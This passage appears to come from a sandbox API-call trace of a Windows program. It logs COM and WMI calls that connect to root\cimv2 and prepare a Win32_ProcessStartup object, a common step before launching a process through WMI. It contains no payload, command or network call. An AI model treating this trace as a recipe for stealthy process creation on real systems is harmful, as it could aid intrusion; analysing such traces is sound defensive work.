riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0148.224] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0148.224] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0148.224] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.225] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc3ac0) returned 0x0 [0148.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3ac0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0148.225] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc3ac0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc3740) returned 0x0 [0148.225] WbemLocator:IUnknown:Release (This=0x1bcc3ac0) returned 0x0 [0148.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bcc3740) returned 0x0 [0148.225] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0148.226] WbemLocator:IUnknown:AddRef (This=0x1bcc3740) returned 0x3 [0148.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0148.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0148.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0148.226] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0148.226] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0148.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0148.226] WbemLocator:IUnknown:Release (This=0x1bcc3740) returned 0x2 [0148.226] WbemLocator:IUnknown:Release (This=0x1bcc3740) returned 0x1 [0148.226] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0148.226] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0148.226] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc3740, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bcc3740) returned 0x0 [0148.226] WbemLocator:IUnknown:AddRef (This=0x1bcc3740) returned 0x3 [0148.226] WbemLocator:IUnknown:Release (This=0x1bcc3740) returned 0x2 [0148.226] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfe20, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0148.226] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfe20, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0148.226] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfe20, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.226] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bcc37a0) returned 0x0 [0148.226] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bcc37a0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc95e00) returned 0x0 [0148.514] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95e00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1aa033a0) returned 0x0 [0148.514] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa033a0, pProxy=0x1bc95e00, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0148.514] WbemLocator:IUnknown:Release (This=0x1aa033a0) returned 0x1 [0148.514] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95e00, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1aa033e0) returned 0x0 [0148.514] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95e00, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1aa033a0) returned 0x0 [0148.514] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa033a0, pProxy=0x1bc95e00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0148.515] WbemLocator:IUnknown:Release (This=0x1aa033a0) returned 0x2 [0148.515] WbemLocator:IUnknown:Release (This=0x1aa033e0) returned 0x1 [0148.515] CoTaskMemFree (pv=0x1bc1bef0) [0148.515] WbemLocator:IUnknown:AddRef (This=0x1bc95e00) returned 0x2 [0148.515] WbemLocator:IUnknown:Release (This=0x1bcc37a0) returned 0x0 [0148.515] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0148.516] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0148.516] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95e00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1aa033b0) returned 0x0 [0148.516] WbemLocator:IRpcOptions:Query (in: This=0x1aa033b0, pPrx=0x1bcc3880, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0148.516] WbemLocator:IUnknown:Release (This=0x1aa033b0) returned 0x2 [0148.516] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0148.516] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0148.516] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc95e00, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc95e00) returned 0x0 [0148.516] WbemLocator:IUnknown:Release (This=0x1bc95e00) returned 0x2 [0148.516] SysStringLen (param_1=0x0) returned 0x0 [0148.516] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0148.516] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfee0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0148.517] IWbemServices:GetObject (in: This=0x1bc95e00, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bc78bc0, ppCallResult=0x0) returned 0x0 [0148.519] IWbemClassObject:Get (in: This=0x1bc78bc0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0148.519] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0148.520] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0148.520] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0148.520] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0148.520] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0148.520] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.522] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bcc37a0) returned 0x0 [0148.522] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc37a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0148.522] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc37a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bbbfd60) returned 0x0 [0148.523] WbemDefPath:IUnknown:Release (This=0x1bcc37a0) returned 0x0 [0148.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bbbfd60) returned 0x0 [0148.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0148.523] WbemDefPath:IUnknown:AddRef (This=0x1bbbfd60) returned 0x3 [0148.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0148.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0148.523] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bcc3900) returned 0x0 [0148.523] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.523] WbemDefPath:IUnknown:Release (This=0x1bcc3900) returned 0x3 [0148.523] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0148.523] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0148.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0148.524] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x2 [0148.524] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x1 [0148.524] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0148.524] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0148.524] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bbbfd60) returned 0x0 [0148.524] WbemDefPath:IUnknown:AddRef (This=0x1bbbfd60) returned 0x3 [0148.524] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x2 [0148.524] WbemDefPath:IWbemPath:SetText (This=0x1bbbfd60, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0148.524] IWbemClassObject:Get (in: This=0x1bc78bc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5308*=0, plFlavor=0x27d530c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5308*=19, plFlavor=0x27d530c*=0) returned 0x0 [0148.524] IWbemClassObject:Get (in: This=0x1bc78bc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5308*=19, plFlavor=0x27d530c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27d5308*=19, plFlavor=0x27d530c*=0) returned 0x0 [0148.524] IWbemClassObject:Put (This=0x1bc78bc0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0148.524] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbffa0, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0148.525] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0148.525] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0148.525] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0148.525] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0148.525] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0148.525] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0148.525] IUnknown:Release (This=0x1a943398) returned 0x1 [0148.527] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1bcc36c0) returned 0x0 [0148.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc36c0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0148.527] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc36c0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bbbfbe0) returned 0x0 [0148.527] WbemDefPath:IUnknown:Release (This=0x1bcc36c0) returned 0x0 [0148.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bbbfbe0) returned 0x0 [0148.527] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0148.528] WbemDefPath:IUnknown:AddRef (This=0x1bbbfbe0) returned 0x3 [0148.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0148.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0148.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1bcc3700) returned 0x0 [0148.528] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc3700, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0148.528] WbemDefPath:IUnknown:Release (This=0x1bcc3700) returned 0x3 [0148.528] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0148.528] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0148.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0148.528] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x2 [0148.528] WbemDefPath:IUnknown:Release (This=0x1bbbfbe0) returned 0x1 [0148.528] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0148.528] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0148.528] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfbe0, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bbbfbe0) returned 0x0 [0148.528] WbemDefPath:IUnknown:AddRef 